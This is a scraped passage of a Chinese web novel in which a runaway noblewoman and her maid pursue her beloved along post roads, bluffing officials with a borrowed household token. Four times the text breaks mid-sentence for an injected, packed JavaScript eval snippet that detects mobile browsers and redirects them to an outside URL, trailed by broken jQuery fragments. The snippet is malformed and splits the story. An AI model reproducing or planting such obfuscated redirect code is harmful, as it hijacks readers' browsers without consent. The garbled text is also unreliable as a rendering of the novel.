她侧头看看紫芽:“你也吃啊。”她见紫芽并不动手,似乎在等她吃完,不由小脸一凛,严肃道:“我说过,你不是我的丫鬟,是我的姊妹。既然你要同我一道上路,以后我们就要互相照顾,有福同享有难同当。” 她伸手拉起紫芽的手一看,素日白净的双手又是挖番薯又是折树枝,指甲里已嵌了不少污泥尘垢,手指上也有了细小的伤口。 “晚饭我来做,就这么定了。” 虽有番薯勉强果腹,暂时解决了温饱之计。但师傅一刻不来,归梦的心始终不能安定。她几次想入城,但都苦苦压抑住了念头,生怕功亏一篑。 归梦与紫芽将两匹马拉去吃了草,便回了茅屋中守着。 她此刻方知,若是没有书卷没有笔墨没有丝竹之音,这种身居陋室的隐士日子真是度日如年。 如今她才体会到一餐一饭的来之不易,做一个平民百姓,填饱肚子便是活着的头等大事。 不等太阳落下,借着天光,她与紫芽张罗起了晚饭。 年节刚过,她原本该安坐家中,承欢父母膝下。此时却……还不知父母亲此刻着急成了什么样?但愿师傅能带来好消息。 二人烤熟了番薯,又饮了些热水,便对付着将晚饭解决了。归梦不愿缩回阴暗寒冷的茅屋中,取了竹凳坐在茅屋前的空地上。 “紫芽,我们生个火堆吧。”归梦望着渐暗下来的天色。也许再过一会儿,会有很美的月色呢。 篝火噼啪作响。归梦想着父母,又想起明铮,心中如被刀割一般零零碎碎的痛。 世事难两全,她要做父母身边乖巧的女儿,便要违背自己的本性,难免终日郁郁。 她若听从父母之命与祖遐成婚,便要放弃所爱,抱憾终身。 这十几年来,她一直过得顺心遂意,从未遇过这样的难题。 夜寒风大,她裹紧了身上厚实的狐裘,喃喃道:“若是此时有酒就好了……” “酒来了!”忽听有人笑道。 只见竹林小径上,郭朴一手提着灯笼,一手提溜着两小坛酒,快步朝茅屋而来。 归梦与紫芽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787832|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙奔上前。归梦嗔道:“师傅,您老人家总算来了,叫我们好等!” 郭朴顺手将酒递给紫芽,笑道:“就你性急!行了,去把酒温上,容为师慢慢道来。”他鼻尖轻嗅,问道:“这两日你们都吃些什么?” “还说呢!您这茅草屋中除了茶叶什么都没有。我们再多住几天,恐怕就要上山打猎或是啃树皮野菜了。” 郭朴嘻嘻笑道:“是为师疏忽了,今夜加菜。”说着自怀中掏出一个纸包打开,里面竟是一大块生鹿肉。 “这是归来之时,山下相熟的猎户所赠。” 紫芽奇道:“生的如何吃得?这里可无法烹煮啊。” 郭朴兴致勃勃道:“两个丫头自去温酒。今日为师给你露一手。”他一眼瞥见旁边生起的火堆,笑道:“妙极妙极,火已生好。”说着便取一根硬实的火棍,穿过鹿肉,盘膝坐于火堆旁,用手举着火棍烘烤鹿肉,不一会儿便肉香四溢。 归梦端了杯热好的酒来,递给郭朴:“师傅……您快说嘛。” 郭朴呷了口酒,笑道:“先说谁呢?” 归梦扁了扁嘴:“您明知徒儿此时最放心不下的自然是双亲。” “哦,离家出走,现下知道担心双亲了?”郭朴看她一眼,安慰道:“为师已去过侯府了,你父亲震怒,你母亲急火攻心卧床,不过并无大碍。他们一开始只当你是遭贼人掳了去,险些闹到宫中,想求太子下令挨家挨户甚至出城去寻。好在我及时到访,劝住他们。他们看到你房中桌案上的那篇《柏舟》,便心下有数了。你母亲直哭着说‘你便是不愿嫁给祖遐,也不该如此狠心抛下父母离家’。” 归梦咬着发白的嘴唇,忍着泪水道:“是,天下没有比我更狠心自私的女儿了……”她深吸口气,将眼泪憋回眼底:“他们可曾对师傅你起疑?” “目前来看,尚未起疑。听说他们已悄悄派人去会稽寻你,可能以为你去了谢炅的庄园。总之,我的话他们总算听得进去,顾着颜面与你的名节,暂时不会再大张旗鼓地寻人了。” 表兄……归梦叹了口气。她无形中又连累了旁人。 “你若是现下改变主意……”郭朴道。 归梦摇摇头:“不,我若是回去,过的又是一眼望得到头的日子。可以预想得到那是怎样的日子。父母亲会再度拘禁我。他们要改造我,让我做个规行矩步的名门淑女,再顺顺利利地嫁一个好夫君。没有祖遐,还会有别人!” 她幡然意识到——明铮,只是个爆竹的引线。爱上明铮,是她与双亲决裂的开始,但绝不是唯一的原因,也不是结束。 过去十四年,她在高平被放养着,父母对她一贯疼爱放任,那只是因为没有触碰到原则与底线。 他们要的,始终都是一个规规矩矩的、一个世人称赞的大家闺秀。那不是她…… 她天生就离经叛道,痛恨一切成规约束。偏偏上天让她投胎到这士族侯爵之家。 幼年之时尚不觉得有什么,可从她开蒙懂事,复又从师傅那耳濡目染,受了老庄影响始,便逐渐厌恶这天家富贵,厌恶这深宫高墙,厌恶封建礼教。 她要自主的,并非只是婚事,而是自己的人生。 56. 随流水 鹿肉已被烤得金黄流脂,焦香扑鼻,勾人馋涎。 郭朴取出一把精巧锋锐的匕首,割下一块细嫩的部位放在碗中递给归梦。 “傻徒儿,你若只是个平民百姓,此时有肉有酒,便是最好的日子了。” 归梦被逗得莞尔一笑,伤感消散了些。 她拿起鹿肉放入口中大嚼。 虽无调味,可肉质鲜嫩回味无穷。又抓起一旁温好的酒,斟了满满一杯,仰脖灌了下去。 痛快!人生在世,若不能纵情恣意,活得束手束脚,那还有什么乐趣?她不愿再去想,也无谓再去想。父亲母亲,请原谅女儿的不孝,也理解女儿…… 梁间的雏燕羽翼一成,总要飞上枝头,再飞到外面去看一看。 纵然父母千般呼唤万般思念,也难让它回头。 “梦娘,醒醒……梦娘,醒一醒了!”紫芽推了推归梦。 归梦翻了个身,迷迷糊糊道:“好困……” 紫芽急道:“再不动身,恐怕明公子便走远了!” 归梦一个激灵猛然坐起:“几更天了?”她睡眼惺忪,揉了揉眼睛,发觉自己还在茅屋内的竹床上。 紫芽无奈道:“昨日你吃醉了酒倒头便睡了。郭先生临走前嘱咐我们,今日卯时前务必赶到板桥。” 该死!她竟睡过头了!她慌里慌张地穿上鞋子,又飞快地绾起头发。 紫芽边帮着归梦穿外袍边道:“这里没有更漏,看天色,大约已过寅时了。包袱我已收拾好了,桌上是郭先生留给你的东西。” 归梦三步并作两步抢至桌前,桌上赫然放着一把精巧的匕首和桓府的腰牌。 她将二物揣进怀中。师傅的用心她自然是懂得的,世道险恶,她唯有自保。 二人沿着官道一路向西南疾驰。 归梦心急如焚。茫茫人海,若是跟丢了一个人,再要去寻,谈何容易? “驾!”她狠狠朝马臀抽了一鞭,犹嫌太慢,不由怒道:“该死,这竟是匹劣马!” 紫芽努力跟上,委屈道:“时间紧迫,一时找不到好马……咱们到了下面的城镇就可换马了!” 好在这两日均是晴天,官道并不泥泞,也无什么行人,只偶有几个挑夫经过。 此时天刚破晓,东方未白,二人方驰了半个时辰,便已被朝露浸得浑身湿寒。 紧赶慢赶,待到得板桥驿时,晨曦微光正起。路边的茶摊上,零散坐着几名饮茶的行人。 归梦抬头望望天,焦急道:“怕是已过了卯时了,这可如何是好?” 紫芽怔怔看着茶摊,遥遥伸手一指:“梦娘,你看那是谁?” 归梦顺着紫芽所指的方向望去。茶摊一隅,正坐着两个人,其中一袭青衫背影,俊雅非凡,王孙不及。不是明铮却是谁? 她的一颗心瞬间安放回肚中。 紫芽低声道:”明公子仿佛只带了一位侍从。” 归梦点点头,她认得靳风——明铮的贴身侍从。 “别惊动他们,先悄悄跟着再说。”归梦心知,以明铮的个性,必不会愿意携她同行,说不定还会劝她还家。与其如此,倒不如暗中跟随,待走得远了再作计较。 二人将马随意系在道旁树下。 归梦席地而坐,背靠着树干歇脚,眼睛却一刻不松懈地注视着明铮。 这样的情形很是熟悉,她仿佛又回到那个夏日的晌午,也是百无聊赖地坐在明府门前的柳树下,静静等着明铮下朝归来。 那样的少年意气,携手同游,是否再难与共? 归梦怔怔出神,却被一阵“咕噜”声打断思绪。 紫芽不好意思地低下头:“这几日都不曾吃饱……”说着,归梦的肚子也呼应般地响了起来。 她光顾着盯梢明铮了,才想起来,今日到现在还不曾进食,腹中已是饥饿难耐。 对面茶摊上不断飘来汤饼与茶水的香气。 归梦忍受不住,狂吞馋涎,对紫芽道:“你去买两碗茶来解渴。另外有什么可吃的,尽数买一些。干粮不嫌多。” 明铮并未见过紫芽几次,何况此时她穿了男装,料来是认不出的。 紫芽听命去了。另一旁,明铮与靳风竟已起身会钞,牵了马行将离去。 归梦大急,忙三两下解了缰绳。 紫芽买好干粮,端了茶水转身,却见归梦纵马绝尘而去。 “梦……公子,等等我啊!”紫芽张皇大喊。 眼见明铮二人就要去的远了,归梦无暇回头,丢下一句话:“我先走一步,你快些追上!” 距离茶摊不过一里路的地方,明铮一行停了下来。 归梦尾随其后,看着他们二人进了一处院落。 院门牌匾上赫然书写着“板桥驿”三个大字。 她无所遁形,只能躬身躲在道旁灌木中。 约等了一盏茶之久,仍不见明铮二人出来。 莫不是要留宿此地? 正想着,马蹄声动,紫芽追了上来。她急忙探出身子朝紫芽招招手。 紫芽也躬身下来躲在灌木后,悄声抱怨道:“梦娘真是吓死我了!以后可再不能抛下我一人。失散了可怎么好?!” “知道了知道了。”归梦歉然一笑:“有吃的吗?” 紫芽自怀中掏出一个纸包,取出还冒着热气的面饼递来。 归梦接过大嚼,紫芽也狼吞虎咽地吃了起来。二人均是饿极了,这是今日的第一顿饭。 二人正吃着,忽见明铮与靳风已牵着马走了出来。 归梦急忙压低身子,又拍拍紫芽,低头三两下将剩余的面饼塞入口中。 待得明铮他们驰出视线,二人才从灌木后走了出来。 紫芽看归梦并不着急,不解道:“梦娘,我们再不追便追不上了!” 归梦将口中的面饼慢慢咽下:“磨刀不误砍柴工,不着急。” 方才看着他们已然从驿站换了马匹出来,二人骑术又是极佳,光是一味追赶,怕是疲累不堪也有所不及。 归梦整了整衣衫发冠,对紫芽道:“先将马匹系在门外。” 这板桥驿乃是临近建康最近的驿站,往日归梦随父母、太子出行时也曾路过,只是不曾留宿。 作为离都城最近的驿站,也是这官道的起始驿站,规模虽不宏大,但也不会寒酸了去。 归梦与紫芽甫一进门便有驿卒喝问:“你们是?” 归梦轻咳一声,粗着嗓子道:“去唤你们驿长来。” 那驿卒打量了归梦一番,迟疑着去了。 很快身着官服的驿长便从内堂出来。归梦开门见山道:“烦请驿长给换两匹快马。” 驿长笑道:“换马自然可以,只是还请您将官符取出给小人看一眼,小人也好登记在薄。” 归梦一怔。原来要调动官驿的马匹,须得有官职品级才行。她事先不知,莽莽撞撞地便进来索要,如今骑虎难下无法收场。 紫芽偷偷拽了拽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792388|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 归梦的衣袖,暗示她走为上策。 归梦足下寸步不动。若换不来好马,此时又失了明铮的踪迹,如何再去寻? 驿长与驿卒对视一眼,语气已然有些不耐:“二位没有官符,也敢来我这板桥驿索要马匹?可知该当何罪?” 归梦灵机一动,在怀中一阵摸索,掏出一物,伸手举到驿长眼前:“你可认得此物?” 驿长看着那面乌金腰牌,瞪大眼睛:“桓……桓!”他不敢多念,忙点头哈腰道:“是小人有眼不识泰山。不知您竟是桓公手下……”说着便呵斥一旁的驿卒:“还不快去备茶!” 归梦轻哼一声,将腰牌收回怀中。“现下可以给我换马了吗?” “那是自然,那是自然……”驿长一面一迭声地应承,吩咐手下去后院马厩选两匹最好的马来,一面谄笑着引了归梦与紫芽到厅堂坐下。 茶水点心摆了一桌。归梦心中极想吃,却也苦苦忍住,朝紫芽使了个眼色。 紫芽不露声色地自发间取下一枚银簪。 临行前一夜,郭朴再三交代了她们,出门在外须得留心一饮一食。在外头,比不得她们在府中宫中,所用的器皿皆非银器,是以用银簪先验过最好。 归梦自与那驿长说话,紫芽则趁机将银簪探入茶水与点心之中。 “驿长,方才可是也有两人前来换马?” 驿长答道:“正是。那是前太子洗马,如今领了差事外派去到荆州。” “哦?”归梦点了点头,又问道:“若是去荆州,那么下一站当在何处落脚?” 驿长毫不犹豫道:“那自然是距此五十里外的秣陵。方才听那明大人的随从说,他们换马也正是要快些赶去秣陵呢,今夜当是在那里的驿站留宿。” 归梦再无疑问,面上浮起微笑:“是吗?我等也当尽快上路了。” 紫芽冲归梦眨眨眼,示意茶水点心皆无毒。二人喝饱了茶水,吃够了点心,便起身告辞。 那驿长甚是殷勤,亲自牵了马来。 “敢问大人您如何称呼?在桓公手下是……” 归梦随口道:“哦,在下不过是桓公府里一名寻常家臣罢了。”她见这驿长谄媚,忽地顽心大起,故意为难道:“哎呀,在下并无功名官职在身,这马……” “啪!”驿长自己打了自己一个嘴巴,躬身赔笑道:“规矩,那是说给寻常官员听的……能为桓公的手下效命,那是小人几辈修来的福份,您可莫要折煞小人了……若是有机会,还望您能在桓公面前美言几句……” 归梦差点憋不住笑,强忍着道:“一定一定,我等公务在身,就此别过。”说着足踩脚蹬,跨上马鞍,呼喝一声,与紫芽急驰而去。 她片刻后悄然回头,远远见那驿长仍躬身望尘,终于忍不住大笑出来。 紫芽咂舌不已:“梦娘你胆子也太大了,居然敢冒那桓超的名头!” 归梦得意道:“若不如此,怎能换得两匹健马和明铮的行踪呢?虽耽搁了点时辰,却是事半功倍。” 紫芽亦抿嘴笑道:“是呢!这雕鞍与辔头竟都是新的!”她说着伸手一摸,发觉马鞍旁挂着的布袋中竟然有东西。 放的是崭新的皮革水囊与满满一兜点心。 归梦见状,也探了探她马鞍旁的布袋,摸到一包硬邦邦的银锭。 她不禁失笑。区区一个板桥驿,仅是贿赂她一人便能挤出这么多油水,不知这驿长用何种手段搜刮来这般多的钱财,早已远超他的薪俸。 57. 行路难 马上备有食物与水,省下了打尖的时间。归梦与紫芽一刻不停地赶路,总算在入夜之时赶到了秣陵县。 二人下马稍作打听便找到了驿站所在。 归梦又故技重施地拿出桓府的腰牌来狐假虎威,秣陵驿的驿长自然是奉为上宾,忙不迭地备了最好的房间,另置办了一桌筵席,好酒好菜地招待二人。 归梦唤那驿长上前:“我且问你,今日除了我们,是否有其他从建康来的留宿?” “有,有!有位明大人,与其随从住在西厢。” 归梦“唔”了一声,叮嘱道:“他们若有什么风吹草动,第一时间来回报我。哪怕是换马、买东西……这种小事也要一一报来。尤其是——他们若要起程离去,必须立刻来报!” “是是——”驿长一迭声地答应着,虽对这命令很是疑惑,但也不敢多问,只当是官场斗争,以为归梦是上头派来监视明铮的。 驿长满脸堆笑,举起桌上酒杯就欲向归梦敬酒。 归梦却摆摆手,掏出一块银锭放在桌上:“无事了,你先退下吧!记着,留神看着他们,小心勿要被发现了。” 驿长讪讪地接了银锭道了谢退了出去。 紫芽将门关好,看着满桌的山珍海味,闻着诱人的香气,不断吞着口水道:“鱼脯、熏鸡、酱鸭……这么多菜!菜色虽不及家里精致,但在这小县城中也算难得了。” 归梦伸了个懒腰:“真烦应付这些趋炎附势之人,‘官字两张口’,话是真多……要是他还赖着不走,咱们哪里吃得下?” 说话间紫芽已用银簪一一试过酒菜,均无异常。二人如风卷残云一般,直吃得酒足饭饱,总算将这几日的清苦一扫而空。 饭后,归梦又唤人提了烧好的热水来,与紫芽各自舒舒服服地洗了个澡。 临睡前,紫芽细心地将门窗都闩上。二人同睡一床,虽不宽敞,但安心踏实。 翌日,鸡才鸣过不久。窗棂格子外便有人呼唤:“大人!大人……” 归梦裹着被衾迷迷糊糊道:“谁啊,去看看……” 紫芽睡得轻,闻声便挣扎着起了身,披了外袍,走到窗棂那应声问道:“谁啊?何事?” 窗外驿卒的声音有些急:“小的就是来回禀一声,西厢的那位明大人,这会儿已然要启程上路了……” 紫芽一惊,随即道:“晓得了,你下去吧。”她回身赶紧推醒归梦:“梦娘,明公子走了!” 归梦猛然清醒坐起,急穿衣服,口中不住骂道:“这人是属鸡的吗?赶了一天的路竟也不多睡会儿!”她整好行装满腹牢骚,见了驿长自然也没有好脾气。 “人呢?” “走了。” 归梦斥道:“为何不留他?” 驿长语塞道:“这……您只让小的监视他,可没让小的留他啊!再说,明大人少年英才,自有主见,又岂是小人能留得下的?” 这话倒也无从反驳。 “马备好了吗?可知他们朝何处去了?” “备好了备好了!是本驿最好的两匹马了。昨日给明大人的马都不如这两匹矫健。小的手下驿卒看着他们朝西南去了,下一站当是丹阳郡。” 与归梦所料不差,但她总要再问一遍才放心。 走出秣陵驿,归梦抬头望望灰蒙蒙有些发白的天空,又是晓行夜宿的一日。 二人不敢多耽,只在路边的扁担摊上买了一些蒸饼胡乱填了肚子。上了官道,一路疾驰,连经过几个茶摊酒肆都不见明铮的踪影。 归梦想着是落下的路程太远,唯有尽快赶到丹阳郡才行。 这两日马不停蹄地赶路,一整日颠簸在马背上,归梦与紫芽均是腰酸背痛。生平从未这般辛苦过。 归梦原以为到得入夜之时总该到了,可眼看着路上人烟越来越稀少,人困马乏,官道上一片漆黑,前不着村后不着店的,不觉傻了眼了。 紫芽已在马上坐不住了,勒紧缰绳停了下来。“不成了,腰快断了!梦娘,不能再走了。这伸手不见五指的,万一摔到沟里……” 归梦无法,也只得“吁”了一声停下。她四下环顾,焦躁道:“该死,到底是我们走错了方向还是这丹阳郡路程太远,一日之内都赶不到?” 紫芽劝道:“横竖先找个地方过夜。等天亮了再找人问路。俗话说‘未晚先投诉,鸡鸣早看天’,如今天已黑了,须得赶紧去找个落脚地……” 归梦下马,但见茫茫原野一片。 “这哪里还有地可以投宿?我看就地生个火堆凑活一夜吧。” 紫芽连连摇头:“梦娘莫耍性子了。这荒郊野外,即使没有盗匪也会有野兽出没。何况天气这般冷,若幕天席地地睡一夜,咱们非冻死不可。”说着牵起马,哄着归梦摸黑朝乡间小路走去。 好在明月高悬,二人借着月光缓步穿过原野,也不知走了多久,隐约看见远处有一栋屋宇。走近一些细细辨认,是一间废弃的祠堂。 紫芽欣喜地拍拍胸口,松了口气:“神佛保佑,总算能有个遮风的所在……” 二人将马拴在门口的柱子上。这祠堂年久失修,两扇门也已坍塌破损歪斜一旁,冷风呼呼地倒灌而入,倒也抵御不了许多寒意。 紫芽捡了些干草铺在祠堂一角让归梦坐下,这是避开风口的一处。 归梦也无心挑剔,尽管鼻息间闻到的是腐朽尘埃的气味,但至少今夜不必担心野兽来袭了。 两人生了个火堆,取出包裹中的面饼烘烤一番,分着吃了。紫芽极是贴心,在干草上先铺一层灰鼠皮毡,二人再盖上狐裘而眠,总算不会冷了。 虽是困得极了,但到底是第一次在这样的环境过夜,怎能不惧怕? 这破烂祠堂连门都没有,万一有坏人劫匪闯入,她俩便是死路一条了。 故而归梦始终留了份警觉,不敢松懈下来彻底入眠,只闭着眼睛,手上紧紧攥着师傅给她的那柄匕首。 夜深人静,除了呼呼风声与火堆的噼啪燃烧之声,天地间似乎再无声音。她困倦已极,眼皮沉重得似有万钧,终是忍不住昏昏睡去…… 忽地一声马嘶声划破平静。 归梦猛地惊醒:“有人!”她睁开双眼一跃而起,低头一看匕首仍在手中,立刻拔刃出鞘,疾步朝门外而去。 “谁?!有本事出来!”她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801821|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娇叱道,却不见一个人影。 紫芽也奔到门前,她惊叫道:“少了一匹马!” 归梦定睛一看,紫芽骑的那匹马已然不见了! 她狠狠跺脚道:“该死的小贼,连马都要偷!”原以为这里四下无人居住,原野里就这么一座孤零零的破祠堂。谁承想竟会有人趁着夜半来偷马。 紫芽抚着她的背轻声安慰:“罢了,丢了便丢了吧!现下去追也来不及了。还不知道贼人有几个。好在我们把包袱细软都取了下来随身带着,他只偷得一匹马去。最多也就卖几个小钱,或是吃点马肉裹腹罢了。” “那明日赶路,你我只能共乘一匹了。”归梦气咻咻道:“今夜我不睡了,保不定还会有贼人来偷!” 紫芽拉着归梦回草堆坐下。 “梦娘你睡,我来守着——”她看归梦欲要张口反对,柔声道:“别争了。明日你骑马带我,我在马背上还可闭目养神。” 翌日清晨,归梦在马背上哈欠连天,紫芽在背后环住她的腰,也是摇摇欲坠。 归梦强振着精神,跟身后的紫芽说话:“待到了丹阳,咱们一定要好好睡一觉,再大吃一顿。我想过了,若真是追不上明铮,大不了就到荆州去寻他。他那样的人,见之难忘,我总能打听到他在哪,多费些功夫便是了……” 二人在官道上问了过路行人,确信走的方向不错。如此苦行了半日,总算到了丹阳郡。丹阳郡不同秣陵镇,乃是陆路枢纽,甚是繁华热闹。 只是刚到城门口,便遇上查验的官兵。归梦心里“咯噔”一声。 如今流民肆虐,她们在官道上便见着不少流离失所朝南方逃难的流浪人。他们从小路绕行,却被困于各个城外不得而入。 不知这桓超的令牌到了丹阳郡还是否好使? 城门守卫拿着长枪拦在紫芽与归梦面前,喝道:“站住,什么人!” 归梦低头道:“我等是商人。” “过所呢?”守卫手一伸。 “过所……什么过所?”归梦迷茫道。 紫芽急忙小声提醒:“就是通行凭证……” “哦!”归梦掏出那块桓字腰牌,大大方方地递给了守卫。 守卫有些疑惑地接过看了一眼,一把扔在地上,啐骂道:“老子问你要官府发的‘过所’!你给我的是什么?” 归梦昨夜未睡好,又赶了半日的路,又累又乏,好容易到了丹阳郡城下,却又被索要什么‘过所’。 此时被这凶巴巴的守卫一吼,脾气也上来了。她大声道:“什么‘过所’!我往日坐着马车出行那么多次,从未听过进城要什么‘过所’!你这守卫定是畏强欺弱,故意刁难我们平头百姓!” 她秀目圆瞪,气势凌人。守卫被她气势所慑,竟一时哑口无言。四周等待入城的民众与其他看守闻声也纷纷围拢过来。 “好好好,你这臭小子,烂刁民,没有‘过所’还敢如此嚣张……把他们抓起来!” 归梦惊惶道:“你敢!”她眼见着两名守卫的手掌就要钳住她与紫芽,免不了受辱。再也顾不得许多,大喊道:“你们好大的胆子……叫你们头领来见我!” 58. 行路难(二) “等等!”旁边另一名高瘦守卫捡起了被丢在地上的腰牌看了看,急忙出声制止。 他与那下令抓捕的守卫耳语几句。两人略略交谈一番,又仔细打量了归梦与紫芽。 归梦隐隐听到一句“多一事不如少一事”。 高瘦守卫陪着笑走来,双手递还腰牌。 “他是新来的没见识,不识得二位的身份。有这桓府的腰牌在,哪还需要什么‘过所’。” 他嘻嘻笑着下令让开一条道,示意她们可以入城了。 归梦“哼”了一声,没好气地劈手夺过腰牌,拉着紫芽昂首阔步地入了城。 紫芽却是心有余悸,走出一段路后仍不敢回头。 “梦娘,方才可太险了……我们没有‘过所’,原该谨小慎微一些。这等守卫,偷偷塞些银钱也就打发了……” 归梦愤愤道:“谁让那守卫出言不逊的?再说了,我从小到大出行,确实没听过要什么‘过所’。无非是这些人拜高踩低,对士族门阀便予以特权,对下等平民便恶意刁难。” 紫芽摇头叹气不语。 归梦走在丹阳郡的街道上,看着两旁鳞次栉比的商铺店面,沉浸在兴奋中。拉着紫芽去到路边的成衣铺子,一气挑了十套男装。每人五套。另选了十条手帕汗巾留着用。 那件狐裘华贵艳丽又惹眼,归梦本想送入当铺,但念着那是母亲所赐,又有些不忍,便留在身边作个念想。 这城中成衣铺子里的皮裘成色都一般,只得马马虎虎选了两件石青色灰鼠皮斗篷用作日常御寒。 经过脂粉摊时,归梦挑了些中用的胭脂水粉、头油、梳子、针线包这些素日要用的零散物件。好在其时男子大多涂脂抹粉,是以二人虽是男装打扮也并不惹人起疑。 二人边走边逛,不知不觉已把马背上的褡裢塞得满满当当。 归梦不敢多耽,寻人问了路,便直奔丹阳驿而去。 二人毫不费劲地在丹阳驿最好的房间住下了。 归梦唤来驿长一问,却是诧异,原来明铮并未来到丹阳驿。 “这就奇怪了,难道他们去住了别的客店?” 驿长小心翼翼道:“想来应该不会。若是如您所说,那明大人身有朝廷任命,带着符节,那必是住在驿所更加方便。既省了银钱,又不必去客栈那等鱼龙混杂之地。依小的看,定是临时转道走了别的路径了……” 归梦一颗心不断往下沉。罢了,既是如此,只能先到荆州再作打算了。 “去找个老成本分的车夫来,再用两匹好马套一辆马车,车上备好充足的干粮与清水。明早出发。”她说完,挥挥手让那驿长退下了。 美美饱餐一顿后,归梦在庭院中散步消食。 天边薄薄暮色,斜晖绮丽照在庭院一隅。 这驿站院内墙角竟还有几枝浅黄可爱的腊梅。 归梦向来爱花惜花,这几日疲于奔命,好久都不曾留心身旁一景一物了。 嗅着腊梅清幽的香气,她不禁想,倘若她不是侯府千金,抑或是她并没爱上明铮,她只是个普普通通的民女,周游四方,恰巧在这驿站看见这墙角数枝梅,又当是何等的心境?会不会更快活一些呢? 一个人活着总要有些盼头。 她不愿浑浑噩噩地过此一生,此次离家固然是舍不得与明铮分离,但她更想找到这一生的意义,而不是顺其自然地嫁人、生子、平安终老。 院外传来说话声与脚步声。 归梦不愿撞见生人,抬脚便朝房间走去。 刚走到回廊下,便听见院门已开,驿卒领着两人进了院子。 她急忙闪身躲在回廊的石柱后。 “明大人,东厢已住了人,便委屈您住西厢。您歇息,小的去备些酒菜。”驿卒道。 归梦听到“明大人”三个字,身子不禁一僵。她小心翼翼地一点点探出头去看,果然是明铮与随从靳风。 她又惊又喜。他们怎地这样晚才到丹阳驿?害她以为他们转道别处了。 她嘴角含笑,脚步轻快地回了房间,同紫芽说了,又唤来驿长,再三嘱咐他一定要看好了明铮二人,一有动静立刻来报。 如此安排妥当,待得明日,只需悄悄随在他之后就行了。 这一夜,想到又与明铮睡在同一个院落内,归梦便无比地安心,自然是格外好眠。 清晨,鸟鸣啾啾。归梦与紫芽前夜睡得早,故而晨曦刚照入房间,两人便相继醒来了。 正洗漱着,驿长便来叩门禀报,说是西厢那头已然准备动身了。 归梦正在束发。“知道了,你尽量拖延片刻。是了,昨日命你备的马车呢?” 门外驿长的声音恭恭敬敬:“车夫和马车已经在大门口侯着了。按您的吩咐,老成持重,就是有些年岁了。” 两人换好衣裳披上斗篷,拎着包裹,出了驿站门,果见车辕上下来一个头发花白的老者,便是车夫。 他躬身作了个揖,归梦忙摆摆手:“免礼。方才可是有两人两骑离开了?” 车夫道:“正是,他们说要穿过横山赶去薛镇。” 归梦有些奇怪,以明铮的个性,怎会随意吐露自己的行程。她没空多想,与紫芽跳上马车:“走吧,尽量追上他们。” 车夫攥稳缰绳,马鞭一挥,车轮辘辘前进。 有了马车坐自然是比自己骑马要舒服多了。只是归梦从前坐的大都是四驾马拉的车,车厢宽敞舒适,便是要躺卧翻身都不成问题。 现下这辆马车只有二驾驽马,速度慢了自不必说,车厢内空间也有些逼仄,仅能容纳两人坐着,若是要两人并排躺下,脚必要伸到车辕上去,连翻身也很困难。 好在这车夫驾车的技术极好,行路很是稳当,人也规矩少言,正合归梦的要求。 “二位坐稳了,马上要上山了。”车夫招呼一声,渐渐放慢了车速。 归梦掀开车帘望去,前方一座山巍然矗立,山形无论怎么看,皆是横着的,无怪乎叫横山。 山路崎岖难行,好在他们只是要通过横山隘口,并非登顶。 越往山中行,那参天的森森树木将本就稀薄的日光给遮得越是暗淡。紫芽紧了紧身上的斗篷:“这山中好阴冷……” 归梦探头到车窗外。 此时虽已是正午,但山中笼着淡淡白雾并不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807746|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散去。她鼻翼微动,闻着树木野草山花的气息,凛冽而森寒。 “就是说,为何这路上除了我们,竟不见一个行人一匹马。”归梦问车夫。 车夫答道:“横山前些年常有山越族的人劫道……官府派了人来大力围剿之后已太平许多了。可这恶名已然传了出去,过往的商客便都一意避开此路。” “原来如此。”归梦与紫芽紧张地对视一眼,仍免不了有些担忧。 “老丈,还有多久才到隘口?”紫芽问道。 车夫目视前路:“若是快的话,日落前便能过隘口了。” 归梦好奇地问道:“老丈,我见您年事已高,为何不在家中安养天年?出来赶车这般辛苦,还要走这兴许有盗匪出没的路径,岂不是担了好大风险?” 